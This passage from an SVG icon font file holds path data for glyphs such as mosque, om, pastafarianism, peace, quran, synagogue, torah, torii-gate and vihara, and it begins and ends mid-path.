c8.83984 0 16 -7.16016 16 -16v-144c0 -53.0195 -42.9805 -96 -96 -96h-192v-64h176c8.83984 0 16 -7.16016 16 -16v-32c0 -8.83984 -7.16016 -16 -16 -16h-416c-8.83984 0 -16 7.16016 -16 16v32c0 8.83984 7.16016 16 16 16h176v64h-192c-53.0195 0 -96 42.9805 -96 96
v144c0 8.83984 7.16016 16 16 16h32c8.83984 0 16 -7.16016 16 -16v-144c0 -17.6699 14.3301 -32 32 -32h192v176c0 8.83984 7.16016 16 16 16h32c8.83984 0 16 -7.16016 16 -16v-176h192c17.6699 0 32 14.3301 32 32z" />
    <glyph glyph-name="mosque" unicode="&#xf678;" horiz-adv-x="640" 
d="M0 -32v320h128v-320c0 -17.6699 -14.3301 -32 -32 -32h-64c-17.6699 0 -32 14.3301 -32 32zM579.16 160h-358.32c-17.8594 17.3896 -28.8398 37.3398 -28.8398 58.9102c0 52.8594 41.79 93.79 87.9199 122.899c41.9502 26.46 80.6299 57.7705 111.96 96.2207
l8.12012 9.96973l8.12012 -9.96973c31.3301 -38.4502 70.0195 -69.75 111.96 -96.2207c46.1299 -29.1094 87.9199 -70.04 87.9199 -122.899c0 -21.5703 -10.9805 -41.5205 -28.8398 -58.9102zM608 128c17.6699 0 32 -14.3301 32 -32v-128c0 -17.6699 -14.3301 -32 -32 -32
h-32v64c0 17.6699 -14.3301 32 -32 32s-32 -14.3301 -32 -32v-64h-64v72c0 48 -48 72 -48 72s-48 -24 -48 -72v-72h-64v64c0 17.6699 -14.3301 32 -32 32s-32 -14.3301 -32 -32v-64h-32c-17.6699 0 -32 14.3301 -32 32v128c0 17.6699 14.3301 32 32 32h416zM64 448
c0 0 64 -32 64 -96v-32h-128v32c0 64 64 96 64 96z" />
    <glyph glyph-name="om" unicode="&#xf679;" 
d="M360.6 387.06l-21.5801 21.5605c-1.68848 1.68652 -3.05957 4.99316 -3.05957 7.37988s1.37109 5.69336 3.05957 7.37988l21.5703 21.5605c4.08008 4.06934 10.6797 4.06934 14.7598 0l21.5801 -21.5605c1.68945 -1.68652 3.06055 -4.99316 3.06055 -7.37988
s-1.37109 -5.69336 -3.06055 -7.37988l-21.5693 -21.5605c-1.6875 -1.68848 -4.99316 -3.05957 -7.37988 -3.05957c-2.3877 0 -5.69336 1.37109 -7.38086 3.05957zM412.11 256c55.0898 0 99.8896 -44.7998 99.8896 -99.8799v-100.12c0 -48.5303 -47.4805 -88 -96.0195 -88
c-96.0205 0 -96.0205 64 -96.0205 64v37.8701c0 7.55957 9.42969 10.8896 14.2002 5.01953c15.1494 -18.6494 42.4199 -42.8896 81.8203 -42.8896c13.2393 0 32.0098 10.7695 32.0098 24v100.12c0 19.79 -16.1006 35.8799 -35.8799 35.8799
c-9.60059 0 -18.6006 -3.73047 -25.3799 -10.5l-24.25 -24.25c-18.8701 -18.8604 -43.9502 -29.25 -70.6406 -29.25h-21.6895c11.0293 -18.9004 17.8096 -40.5801 17.8096 -64c0 -70.5801 -57.4297 -128 -128.02 -128c-118.811 0 -160.03 96 -159.94 150.81
c0.0195312 8.80078 10.2598 12.7705 14.79 5.2207c22.7998 -38.0107 49.1299 -92.0303 145.15 -92.0303c35.2998 0 64.0098 28.7002 64.0098 64s-28.71 64 -64.0098 64h-33.0303c-5.57031 0.450195 -10.6406 3.49023 -13.1699 8.5498l-16.0898 32.1699
c-5.35059 10.7002 2.42969 23.2803 14.3896 23.2803h31.9004c26.4697 0 48.0098 21.5303 48.0098 48s-21.54 48 -48.0098 48c-11.25 0 -21.8203 -3.80957 -30.2705 -10.71c-5.54004 -4.53027 -13.4795 -4.50977 -19.2002 -0.209961l-26.1494 19.6299
c-8.08984 6.08008 -8.48047 17.9697 -1.12012 24.9297c25.1094 23.7402 59.8594 34.71 96.0098 28.7803c43.1602 -7.08008 79.4199 -40.6396 89.5205 -83.1895c6.43945 -27.1201 2.80957 -53.1309 -7.73047 -75.2305h46.8398c9.60059 0 18.6006 3.73047 25.3799 10.5
l24.25 24.25c18.8701 18.8604 43.9502 29.25 70.6406 29.25zM454.29 380.73c10.5596 7.95996 25.7002 0.489258 25.7002 -12.7305v-35.5195c0 -2.36035 -0.509766 -4.71094 -1.53027 -6.83008c-2.96973 -6.30078 -21.8301 -37.6602 -101.75 -37.6602
c-78.4297 0 -117.19 69.3896 -118.8 72.3398c-3.61035 6.62988 -2.08008 14.8799 3.66016 19.7998c5.69922 4.92969 14.1201 5.16992 20.1396 0.549805c3.53027 -2.69922 87.0303 -65.0693 172.58 0.0507812z" />
    <glyph glyph-name="pastafarianism" unicode="&#xf67b;" horiz-adv-x="640" 
d="M624.54 100.33c12.4004 -4.71973 18.5996 -18.5801 13.8896 -30.9805c-4.69922 -12.4092 -18.5801 -18.6299 -30.9697 -13.8799c-8.11035 3.08984 -14.3398 0.19043 -31.3896 -11.3594c-13.5508 -9.15039 -30.8301 -20.8408 -52.4199 -20.8408
c-7.16992 0 -14.8301 1.28027 -22.9707 4.39062c-32.6602 12.4395 -39.9893 41.3301 -45.3301 62.4395c-2.20996 8.7207 -3.98926 14.4902 -5.94922 18.8701c-16.6201 -13.5996 -36.9307 -25.8701 -61.6201 -34.1602c10.0098 -37 32.2793 -90.8096 60.2197 -90.8096
c13.25 0 24 -10.75 24 -24s-10.75 -24 -24 -24c-66.7402 0 -97.0498 88.6299 -107.42 129.14c-6.69043 -0.599609 -13.4199 -1.13965 -20.5801 -1.13965s-13.8896 0.540039 -20.5801 1.13965c-10.3701 -40.5098 -40.6797 -129.14 -107.42 -129.14c-13.25 0 -24 10.75 -24 24
s10.75 24 24 24c28.0801 0 50.2998 53.7998 60.2598 90.7998c-24.6895 8.29004 -45.0195 20.5605 -61.6396 34.1699c-1.95996 -4.37988 -3.74023 -10.1494 -5.9502 -18.8701c-5.34961 -21.1094 -12.6699 -50 -45.3301 -62.4395
c-8.13965 -3.11035 -15.7998 -4.39062 -22.9697 -4.39062c-21.5898 -0.0195312 -38.8701 11.6807 -52.4199 20.8408c-17.0498 11.5498 -23.2305 14.4492 -31.3906 11.3594c-12.3594 -4.72949 -26.25 1.4707 -30.9697 13.8799
c-4.71973 12.3906 1.48047 26.25 13.8701 30.9707c32.6504 12.4697 57.3398 -4.25 75.3701 -16.4502c17.0801 -11.5303 23.2998 -14.4199 31.4102 -11.3604c8.12012 3.10059 10.8301 9.37988 15.8896 29.3799c3.33008 13.1504 7.44043 29.3203 17.9502 42.6504
c-2.24023 2.91016 -4.42969 5.78027 -6.37988 8.57031c-10.1699 -9.56055 -23.4102 -17.1104 -41.7002 -17.1104c-33.9502 0 -50.8701 25.7803 -62.0596 42.8301c-10.6006 16.1396 -15 21.1699 -21.9404 21.1699c-13.25 0 -24 10.75 -24 24s10.75 24 24 24
c33.96 0 50.8799 -25.7803 62.0596 -42.8301c10.6006 -16.1396 15 -21.1699 21.9404 -21.1699c17.1504 0 37.6797 61.5596 97.2695 101.9l-17.25 34.5c-33.46 2.09961 -60.0195 29.6191 -60.0195 63.5996c0 35.3496 28.6504 64 64 64s64 -28.6504 64 -64
c0 -13.0195 -3.94043 -25.0996 -10.5996 -35.21l18.1494 -36.2998c16.9697 4.59961 35.6006 7.50977 56.46 7.50977c20.8604 0 39.4805 -2.91016 56.46 -7.50977l18.1504 36.2998c-6.67969 10.1104 -10.6201 22.1904 -10.6201 35.21c0 35.3496 28.6504 64 64 64
s64 -28.6504 64 -64c0 -33.9805 -26.5703 -61.5 -60.0098 -63.5898l-17.25 -34.5c59.7793 -40.4805 79.9502 -101.91 97.2598 -101.91c6.94043 0 11.3398 5.03027 21.9404 21.1699c11.1895 17.0498 28.1094 42.8301 62.0596 42.8301c13.25 0 24 -10.75 24 -24
s-10.75 -24 -24 -24c-6.94043 0 -11.3496 -5.03027 -21.9404 -21.1699c-11.1895 -17.0498 -28.1094 -42.8301 -62.0596 -42.8301c-18.29 0 -31.5303 7.5498 -41.7002 17.1201c-1.9502 -2.78027 -4.13965 -5.66016 -6.37988 -8.57031
c10.5098 -13.3301 14.6201 -29.5 17.9502 -42.6494c5.05957 -20 7.76953 -26.29 15.8896 -29.3809c8.16016 -3.05957 14.3506 -0.169922 31.4102 11.3604c18.0098 12.2002 42.6699 28.9697 75.3701 16.4502zM448 400c-8.82031 0 -16 -7.17969 -16 -16s7.17969 -16 16 -16
s16 7.17969 16 16s-7.17969 16 -16 16zM192 400c-8.82031 0 -16 -7.17969 -16 -16s7.17969 -16 16 -16s16 7.17969 16 16s-7.17969 16 -16 16z" />
    <glyph glyph-name="peace" unicode="&#xf67c;" horiz-adv-x="496" 
d="M248 440c136.97 0 248 -111.03 248 -248s-111.03 -248 -248 -248s-248 111.03 -248 248s111.03 248 248 248zM432 192c0 90.5303 -65.7695 165.82 -152 181.03v-165.66l129.43 -103.54c14.3701 26.2002 22.5703 56.2402 22.5703 88.1699zM216 10.9697v114.46
l-89.29 -71.4395c24.7998 -21.8203 55.4297 -37.0498 89.29 -43.0205zM280 125.43v-114.449c33.8604 5.96973 64.4902 21.1992 89.29 43.0195zM216 373.03c-86.2305 -15.21 -152 -90.5 -152 -181.03c0 -31.9297 8.2002 -61.9697 22.5703 -88.1699l129.43 103.54v165.66z" />
    <glyph glyph-name="place-of-worship" unicode="&#xf67f;" horiz-adv-x="640" 
d="M620.61 81.4502c10.7031 -4.58887 19.3896 -17.7646 19.3896 -29.4102v-100.04c0 -8.83984 -7.16016 -16 -16 -16h-112v192zM0 52.04c0 11.6455 8.68652 24.8213 19.3896 29.4102l108.61 46.5498v-192h-112c-8.83984 0 -16 7.16016 -16 16v100.04zM464.46 201.32
c9.63965 -5.78027 15.54 -16.2002 15.54 -27.4404v-237.88h-96v96c0 35.3496 -28.6602 64 -64 64s-64 -28.6504 -64 -64v-96h-96v237.88c0 10.0029 6.96191 22.2959 15.54 27.4404l48.46 29.0801v114.97c0 8.49023 3.37988 16.6299 9.37988 22.6299l75.3105 75.3096
c6.23926 6.25 16.3691 6.25 22.6191 0l75.3105 -75.3096c6.00977 -6.00977 9.37988 -14.1396 9.37988 -22.6299v-114.97z" />
    <glyph glyph-name="poll" unicode="&#xf681;" horiz-adv-x="448" 
d="M400 416c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h352zM160 80v128c0 8.83984 -7.16016 16 -16 16h-32c-8.83984 0 -16 -7.16016 -16 -16v-128c0 -8.83984 7.16016 -16 16 -16h32
c8.83984 0 16 7.16016 16 16zM256 80v224c0 8.83984 -7.16016 16 -16 16h-32c-8.83984 0 -16 -7.16016 -16 -16v-224c0 -8.83984 7.16016 -16 16 -16h32c8.83984 0 16 7.16016 16 16zM352 80v64c0 8.83984 -7.16016 16 -16 16h-32c-8.83984 0 -16 -7.16016 -16 -16v-64
c0 -8.83984 7.16016 -16 16 -16h32c8.83984 0 16 7.16016 16 16z" />
    <glyph glyph-name="poll-h" unicode="&#xf682;" horiz-adv-x="448" 
d="M448 16c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h352c26.5 0 48 -21.5 48 -48v-352zM112 256h128c8.83984 0 16 7.16016 16 16v32c0 8.83984 -7.16016 16 -16 16h-128c-8.83984 0 -16 -7.16016 -16 -16v-32
c0 -8.83984 7.16016 -16 16 -16zM112 160h224c8.83984 0 16 7.16016 16 16v32c0 8.83984 -7.16016 16 -16 16h-224c-8.83984 0 -16 -7.16016 -16 -16v-32c0 -8.83984 7.16016 -16 16 -16zM112 64h64c8.83984 0 16 7.16016 16 16v32c0 8.83984 -7.16016 16 -16 16h-64
c-8.83984 0 -16 -7.16016 -16 -16v-32c0 -8.83984 7.16016 -16 16 -16z" />
    <glyph glyph-name="pray" unicode="&#xf683;" horiz-adv-x="384" 
d="M256 320c-35.3496 0 -64 28.6504 -64 64s28.6504 64 64 64s64 -28.6504 64 -64s-28.6504 -64 -64 -64zM225.37 150.25l-24.1504 28.7598l-34.7998 -64.8701l109.86 -109.859c25.4893 -25.4902 5.7998 -68.2803 -28.2803 -68.2803h-208c-22.0898 0 -40 17.9102 -40 40
s17.9102 40 40 40h91.5596l-44.8096 34.8896c-42.8799 27.3799 -57.5898 80.1104 -34.1904 123.75l49.3701 92.0303c11.1201 20.6504 32.1807 34.4404 56.3701 36.9199c24.7803 2.58984 48.5605 -6.93945 64 -25.3301l38.9102 -46.3096l57.4404 47
c17.1191 13.9697 42.3398 11.4902 56.3096 -5.62012c13.9697 -17.0898 11.4697 -42.2998 -5.62012 -56.2803l-88 -72.0195c-16.9697 -13.8701 -41.9102 -11.5 -55.9697 5.21973z" />
    <glyph glyph-name="praying-hands" unicode="&#xf684;" horiz-adv-x="640" 
d="M272 256.09c17.5996 0 32 -14.3994 32 -32v-128c0 -51.8896 -34.8398 -98.0801 -84.75 -112.35l-179.19 -46.6201c-2.64941 -0.69043 -5.36914 -1.03027 -8.05957 -1.03027c-23.4805 0 -32 21.1797 -32 32v96v0.0117188c0 12.7285 9.80176 26.3203 21.8799 30.3389
l90.1201 30.04v80.2295c0 18.9805 5.55957 37.3896 16.1201 53.2305l117.26 175.899c0.169922 0.270508 0.589844 0.25 0.790039 0.480469c9.58008 13.5098 27.8496 17.8799 42.2998 9.20996c15.1602 -9.10059 20.0605 -28.75 10.9707 -43.9102l-77.75 -129.59
c-8.9707 -14.9199 -13.6904 -32 -13.6904 -49.3906v-76.5498c0 -8.83984 7.16016 -16 16 -16s16 7.16016 16 16v80c0 17.6006 14.4004 32 32 32zM618.12 94.3604c13.0703 -4.36035 21.8799 -16.5801 21.8799 -30.3506v-96c0 -10.8193 -8.51953 -32 -32 -32
c-2.67969 0 -5.40039 0.339844 -8.05957 1.03027l-179.19 46.6201c-49.9102 14.2598 -84.75 60.4502 -84.75 112.34v128c0 17.5996 14.4004 32 32 32s32 -14.4004 32 -32v-80c0 -8.83984 7.16016 -16 16 -16s16 7.16016 16 16v76.5498
c0 17.3906 -4.71973 34.4697 -13.6904 49.3906l-77.75 129.59c-9.08984 15.1602 -4.18945 34.8193 10.9707 43.9102c14.4502 8.66992 32.7197 4.2998 42.2998 -9.20996c0.200195 -0.240234 0.610352 -0.210938 0.790039 -0.480469l117.26 -175.89
c10.5605 -15.8408 16.1201 -34.25 16.1201 -53.2305v-80.2295z" />
    <glyph glyph-name="quran" unicode="&#xf687;" horiz-adv-x="448" 
d="M448 89.5996c0 -9.59961 -3.2002 -16 -9.59961 -19.1992c-3.2002 -12.8008 -3.2002 -57.6006 0 -73.6006c6.39941 -6.39941 9.59961 -12.7998 9.59961 -19.2002v-16c0 -16 -12.7998 -25.5996 -25.5996 -25.5996h-326.4c-54.4004 0 -96 41.5996 -96 96v320
c0 54.4004 41.5996 96 96 96h326.4c16 0 25.5996 -9.59961 25.5996 -25.5996v-332.801zM301.08 302.18l-11.1904 -22.6494l-24.9893 -3.62988c-2.68066 -0.390625 -3.75 -3.66992 -1.81055 -5.56055l18.0898 -17.6299l-4.26953 -24.8896
c-0.360352 -2.11035 1.30957 -3.82031 3.20996 -3.82031c0.5 0 1.01953 0.120117 1.51953 0.379883l22.3604 11.75l22.3604 -11.75c0.5 -0.259766 1.01953 -0.379883 1.51953 -0.379883c1.90039 0 3.57031 1.70996 3.20996 3.82031l-4.26953 24.8896l18.0898 17.6299
c1.92969 1.89062 0.859375 5.16992 -1.81055 5.56055l-25 3.62988l-11.1797 22.6494c-0.599609 1.20996 -1.75977 1.82031 -2.91992 1.82031s-2.32031 -0.610352 -2.91992 -1.82031zM243.19 371.19c-63.5205 0 -115.19 -51.6709 -115.19 -115.19
c0 -63.5098 51.6699 -115.19 115.18 -115.18c13.6006 0 27.1201 2.46973 40.1904 7.33984c2.67969 0.910156 4.62012 3.43945 4.62012 6.41992c0 3.63965 -2.87012 6.78027 -6.7998 6.78027c-0.650391 0 -3.10059 -0.209961 -4.13086 -0.209961
c-52.3096 0 -94.8594 42.5596 -94.8594 94.8594c0 52.3105 42.5498 94.8604 94.8594 94.8604c1.04004 0 3.45996 -0.209961 4.13086 -0.209961c0.633789 -0.237305 1.69727 -0.429688 2.375 -0.429688c3.73926 0 6.77441 3.03516 6.77441 6.77441
c0 3.7373 -3.03223 6.77246 -6.76953 6.77539c-13.1201 4.91992 -26.71 7.41016 -40.3799 7.41016zM380.8 0v64h-284.8c-16 0 -32 -12.7998 -32 -32s12.7998 -32 32 -32h284.8z" />
    <glyph glyph-name="search-dollar" unicode="&#xf688;" 
d="M505.04 5.33984c9.2998 -9.39941 9.2998 -24.5898 -0.0996094 -33.9902l-28.3008 -28.2998c-9.2998 -9.39941 -24.5 -9.39941 -33.8994 0l-99.71 99.6904c-4.5 4.5 -7 10.5996 -7 17v16.2998c-35.2998 -27.5996 -79.71 -44 -128.011 -44
c-114.909 0 -208.02 93.0898 -208.02 207.979c0 114.891 93.1201 207.98 208.02 207.98c114.9 0 208.011 -93.0898 208.011 -207.98c0 -48.2998 -16.4004 -92.6895 -44 -127.989h16.2998c6.40039 0 12.5 -2.5 17 -7zM208.02 96.04c79.6504 0 144 64.4502 144 143.979
c0 79.6406 -64.46 143.98 -144 143.98c-79.6494 0 -144 -64.4502 -144 -143.98c0 -79.6396 64.4609 -143.979 144 -143.979zM235.13 248.58c18.6006 -5.58008 31.5898 -23.4199 31.5898 -43.3896c0 -24.5303 -19.0498 -44.4404 -42.6797 -45.0703v-16.1201
c0 -4.41992 -3.58008 -8 -8 -8h-16c-4.41992 0 -8 3.58008 -8 8v16.29c-11.29 0.580078 -22.2705 4.51953 -31.3701 11.3496c-3.90039 2.93066 -4.09961 8.77051 -0.570312 12.1406l11.75 11.21c2.77051 2.63965 6.89062 2.75977 10.1309 0.729492
c3.85938 -2.42969 8.25977 -3.71973 12.8193 -3.71973h28.1006c6.5 0 11.7998 5.91992 11.7998 13.1904c0 5.94922 -3.61035 11.1797 -8.77051 12.7295l-45.0098 13.5c-18.5898 5.58008 -31.5801 23.4199 -31.5801 43.3896c0 24.5205 19.0498 44.4404 42.6797 45.0703
v16.1201c0 4.41992 3.58008 8 8 8h16c4.4209 0 8 -3.58008 8 -8v-16.29c11.29 -0.580078 22.2705 -4.51953 31.3701 -11.3496c3.90039 -2.93066 4.10059 -8.77051 0.570312 -12.1406l-11.75 -11.21c-2.76953 -2.63965 -6.88965 -2.75977 -10.1299 -0.729492
c-3.86035 2.42969 -8.25977 3.71973 -12.8203 3.71973h-28.1094c-6.5 0 -11.8008 -5.91992 -11.8008 -13.1904c0 -5.94922 3.61035 -11.1797 8.77051 -12.7295z" />
    <glyph glyph-name="search-location" unicode="&#xf689;" 
d="M505.04 5.33984c9.2998 -9.39941 9.2998 -24.5898 -0.0996094 -33.9902l-28.3008 -28.2998c-9.2998 -9.39941 -24.5 -9.39941 -33.8994 0l-99.71 99.6904c-4.5 4.5 -7 10.5996 -7 17v16.2998c-35.2998 -27.5996 -79.71 -44 -128.011 -44
c-114.909 0 -208.02 93.0898 -208.02 207.979c0 114.891 93.1201 207.98 208.02 207.98c114.9 0 208.011 -93.0898 208.011 -207.98c0 -48.2998 -16.4004 -92.6895 -44 -127.989h16.2998c6.40039 0 12.5 -2.5 17 -7zM208.02 96.04c79.6504 0 144 64.4502 144 143.979
c0 79.6406 -64.46 143.98 -144 143.98c-79.6494 0 -144 -64.4502 -144 -143.98c0 -79.6396 64.4609 -143.979 144 -143.979zM208.04 336c40.7803 0 73.8398 -33.0498 73.8398 -73.8301c0 -32.9697 -48.2598 -93.0498 -66.75 -114.86
c-1.5293 -1.8291 -4.70508 -3.31445 -7.08984 -3.31445s-5.56055 1.48535 -7.08984 3.31445c-18.4902 21.8105 -66.75 81.9004 -66.75 114.86c0 40.7803 33.0596 73.8301 73.8398 73.8301zM208.04 240c13.25 0 24 10.75 24 24c0 13.2598 -10.75 24 -24 24
s-24 -10.7402 -24 -24c0 -13.25 10.7402 -24 24 -24z" />
    <glyph glyph-name="socks" unicode="&#xf696;" 
d="M214.66 136.99c-52.7402 -39.5605 -69.0498 -110.021 -39.2002 -165.4l-21.8604 -16.3896c-17.2695 -12.9502 -37.4893 -19.2002 -57.5195 -19.2002c-32.8105 0 -65.6904 16.75 -83.9404 48.3301c-24.6494 42.6396 -10.1895 97.5 29.21 127.06l86.6504 64.6104v176h160
v-160zM288 416v-32h-160v32c0 17.6699 14.3301 32 32 32h128c2.84961 0 5.40039 -0.919922 8.01953 -1.62012c-4.94922 -9.08008 -8.01953 -19.3301 -8.01953 -30.3799zM480 448c17.6699 0 32 -14.3301 32 -32v-32h-192v32c0 17.6699 14.3301 32 32 32h128zM320 176v176h192
v-208v-0.00195312c0 -35.3271 -22.9375 -81.2021 -51.2002 -102.398l-115.2 -86.3994c-17.2695 -12.9502 -37.4893 -19.2002 -57.5195 -19.2002c-32.8105 0 -65.1699 16.75 -83.4199 48.3301c-24.6504 42.6396 -10.1904 97.5 29.21 127.06z" />
    <glyph glyph-name="square-root-alt" unicode="&#xf698;" horiz-adv-x="576" 
d="M571.31 196.69c6.25 -6.25 6.25 -16.3809 0 -22.6309l-46.0596 -46.0596l46.0596 -46.0596c6.25 -6.25 6.25 -16.3809 0 -22.6309l-22.6191 -22.6191c-6.25 -6.25 -16.3809 -6.25 -22.6309 0l-46.0596 46.0596l-46.0596 -46.0596c-6.25 -6.25 -16.3809 -6.25 -22.6309 0
l-22.6191 22.6191c-6.25 6.25 -6.25 16.3809 0 22.6309l46.0596 46.0596l-46.0596 46.0596c-6.25 6.25 -6.25 16.3809 0 22.6309l22.6191 22.6191c6.25 6.25 16.3809 6.25 22.6309 0l46.0596 -46.0596l46.0596 46.0596c6.25 6.25 16.3809 6.25 22.6309 0zM552 448
c13.25 0 24 -10.7402 24 -24v-48c0 -13.25 -10.75 -24 -24 -24h-194.97l-97.8105 -374.52c-9.83984 -32.4805 -37.0098 -41.4805 -54.2793 -41.4805c-18.6406 0 -35.9502 8.5 -48.4404 28.2695l-88.8799 163.73h-43.6201c-13.25 0 -24 10.75 -24 24v48
c0 13.2598 10.75 24 24 24h81.4697c10.4385 -0.00292969 22.9961 -7.42578 28.0303 -16.5703l58.4102 -106.1l84.79 322.8c3.68945 14.0703 16.4102 23.8701 30.9502 23.8701h244.35z" />
    <glyph glyph-name="star-and-crescent" unicode="&#xf699;" 
d="M340.47 -18.3604c8.74023 0 15.1299 -6.96973 15.1299 -15.0596c0 -6.62012 -4.31934 -12.2402 -10.2793 -14.2598c-29.04 -10.8301 -59.0898 -16.3203 -89.3203 -16.3203c-141.16 0 -256 114.84 -256 256s114.84 256 256 256c30.3896 0 60.5801 -5.54004 89.75 -16.4805
c6.91992 -2.59961 10.9297 -9.83984 9.46973 -17.0898c-1.41992 -7.04004 -7.62012 -12.0693 -14.75 -12.0693c-1.47949 0 -6.85938 0.459961 -9.17969 0.459961c-116.25 0 -210.82 -94.5703 -210.82 -210.82s94.5703 -210.82 210.82 -210.82
c2.29004 0 7.72949 0.459961 9.17969 0.459961zM503.46 234.14c8.16992 -1.17969 11.4297 -11.2197 5.52051 -16.9893l-55.2705 -53.8701l13.0498 -76.0703c1.11035 -6.42969 -4.00977 -11.6602 -9.80957 -11.6602c-1.53027 0 -3.11035 0.370117 -4.64062 1.16992
l-68.3096 35.9102l-68.3301 -35.9102c-1.53027 -0.80957 -3.11035 -1.16992 -4.63965 -1.16992c-5.7998 0 -10.9199 5.21973 -9.81055 11.6602l13.0498 76.0703l-55.2695 53.8701c-5.91016 5.76953 -2.65039 15.8096 5.51953 16.9893l76.3809 11.1006l34.1592 69.21
c1.83008 3.7002 5.38086 5.5498 8.93066 5.5498s7.09961 -1.84961 8.92969 -5.5498l34.1602 -69.21z" />
    <glyph glyph-name="star-of-david" unicode="&#xf69a;" horiz-adv-x="464" 
d="M405.68 192l53.2207 -89.3896c14.4092 -24.21 -3.41016 -54.6104 -32.0107 -54.6104h-106.93l-55.9502 -93.9805c-7.14941 -12.0098 -19.5801 -18.0195 -32.0098 -18.0195s-24.8604 6.00977 -32.0098 18.0195l-55.9502 93.9805h-106.93
c-28.6006 0 -46.4199 30.4004 -32.0107 54.6104l53.2207 89.3896l-53.2207 89.3896c-14.4092 24.21 3.41016 54.6104 32.0107 54.6104h106.93l55.9502 93.9805c7.14941 12.0098 19.5801 18.0195 32.0098 18.0195s24.8604 -6.00977 32.0098 -18.0195l55.9502 -93.9805h106.92
c28.6006 0 46.4199 -30.4004 32.0098 -54.6104zM392.9 280h-39.6006l19.7998 -33.2598zM340.51 192l-52.3896 88h-112.25l-52.3799 -88l52.3896 -88h112.24zM232 374.28l-22.7803 -38.2803h45.5703zM71.0996 280l19.8008 -33.2598l19.7998 33.2598h-39.6006zM71.0996 104
h39.6006l-19.7998 33.2598zM232 9.71973l22.7803 38.2803h-45.5703zM353.29 104h39.6104l-19.8105 33.2598z" />
    <glyph glyph-name="synagogue" unicode="&#xf69b;" horiz-adv-x="640" 
d="M70 251.49c5.30957 6.00977 14.6904 6.00977 20 0l38 -43.0703v-272.42h-128v226.07v0.00683594c0 5.5625 2.98828 13.4629 6.66992 17.6328zM633.33 179.71c4.2998 -4.87012 6.66992 -11.1396 6.66992 -17.6396v-226.07h-128v272.42l38 43.0703
c5.30957 6.01953 14.6904 6.01953 20 0zM339.99 440.99l128 -102.4c7.58984 -6.07031 12.0098 -15.2695 12.0098 -24.9902v-377.6h-96v96c0 38.8701 -34.6602 69.6504 -74.75 63.1201c-31.4697 -5.12012 -53.25 -34.6699 -53.25 -66.5498v-92.5703h-96v377.6
c0 8.49023 5.38086 19.6865 12.0098 24.9902l128 102.4c11.6904 9.34961 28.29 9.34961 39.9805 0zM392.06 225.44l-19.1895 30.5596l19.2002 30.5703c1.97949 3.14941 -0.290039 7.23926 -4 7.23926h-38.9502l-25.1201 39.9805c-1.84961 2.9502 -6.15039 2.9502 -8 0
l-25.1201 -40h-38.9395c-3.70996 0 -5.98047 -4.08984 -4 -7.24023l19.1992 -30.5596l-19.1992 -30.5605c-1.98047 -3.14941 0.279297 -7.23926 4 -7.23926h38.9395l25.1201 -39.9805c1.84961 -2.9502 6.15039 -2.9502 8 0l25.1201 39.9902h38.9395
c3.70996 0 5.98047 4.08984 4 7.24023z" />
    <glyph glyph-name="torah" unicode="&#xf6a0;" horiz-adv-x="640" 
d="M320.05 81.5195l-17.7402 29.6406h35.46zM419.26 247.52l-18.3994 -30.8193l-18.46 30.8193h36.8594zM48 448c26.5098 0 48 -14.3301 48 -32v-448c0 -17.6699 -21.4902 -32 -48 -32s-48 14.3301 -48 32v448c0 17.6699 21.4902 32 48 32zM220.74 136.5l18.3896 30.8203
l18.46 -30.8203h-36.8496zM382.45 136.5l18.4102 30.7998l18.4492 -30.7998h-36.8594zM128 -16v416h384v-416h-384zM194.77 262.13c-1.53711 -2.65625 -2.78516 -7.30176 -2.78516 -10.3711c0 -3.20312 1.35059 -8.02246 3.01562 -10.7588l29.3604 -49l-29.21 -48.8398
c-1.6709 -2.77344 -3.02637 -7.65234 -3.02637 -10.8906c0 -11.6523 9.45703 -21.1094 21.1104 -21.1094h0.015625h59.5l29.25 -48.8799c3.33105 -5.6416 11.3516 -10.2207 17.9023 -10.2207h0.0976562c6.64844 0.0136719 14.7842 4.67285 18.1602 10.4004l29.1299 48.7002
h59.4697h0.0224609c6.8125 0 15.082 4.80273 18.458 10.7197c1.53418 2.65332 2.7793 7.29297 2.7793 10.3584c0 3.2041 -1.35254 8.02539 -3.01953 10.7617l-29.3701 49l29.2402 48.8496c1.66602 2.77246 3.01758 7.64648 3.01758 10.8809
c0 11.6562 -9.46094 21.1182 -21.1182 21.1191h-59.5195l-29.25 48.8604c-3.3252 5.63574 -11.3359 10.21 -17.8799 10.21h-0.0703125h-0.0341797c-6.65137 0 -14.7988 -4.64551 -18.1855 -10.3701l-29.1299 -48.71h-59.4502h-0.0458984
c-6.80469 0 -15.0635 -4.79785 -18.4346 -10.71zM592 448c26.5098 0 48 -14.3301 48 -32v-448c0 -17.6699 -21.4902 -32 -48 -32s-48 14.3301 -48 32v448c0 17.6699 21.4902 32 48 32zM320 302.47l17.6797 -29.6201h-35.46zM257.55 247.47l-18.3701 -30.7998
l-18.4395 30.7998h36.8096zM287.13 136.47l-33.2295 55.5303l33.1699 55.5195h65.79l33.2295 -55.5195l-33.1699 -55.5303h-65.79z" />
    <glyph glyph-name="torii-gate" unicode="&#xf6a1;" 
d="M376.45 416c39.4961 0.00195312 100.223 14.3389 135.55 32v-96c0 -17.6699 -14.3301 -32 -32 -32h-32v-64h48c8.83984 0 16 -7.16016 16 -16v-32c0 -8.83984 -7.16016 -16 -16 -16h-48v-240c0 -8.83984 -7.16016 -16 -16 -16h-32c-8.83984 0 -16 7.16016 -16 16v240
h-256v-240c0 -8.83984 -7.16016 -16 -16 -16h-32c-8.83984 0 -16 7.16016 -16 16v240h-48c-8.83984 0 -16 7.16016 -16 16v32c0 8.83984 7.16016 16 16 16h48v64h-32c-17.6699 0 -32 14.3301 -32 32v96c35.3271 -17.6611 96.0537 -31.998 135.55 -32h240.9zM128 320v-64h96
v64h-96zM384 256v64h-96v-64h96z" />
    <glyph glyph-name="vihara" unicode="&#xf6a7;" horiz-adv-x="640" 
d="M632.88 47.29c5.41992 -3.61035 7.7002 -9.62012 6.99023 -15.29c-0.620117 -5.00977 -3.56055 -9.75 -8.71973 -12.3301l-55.1504 -19.6699v-48c0 -8.83984 -7.16016 -16 -16 -16h-32c-8.83984 0 -16 7.16016 -16 16v48h-160v-48c0 -8.83984 -7.16016 -16 -16 -16h-32
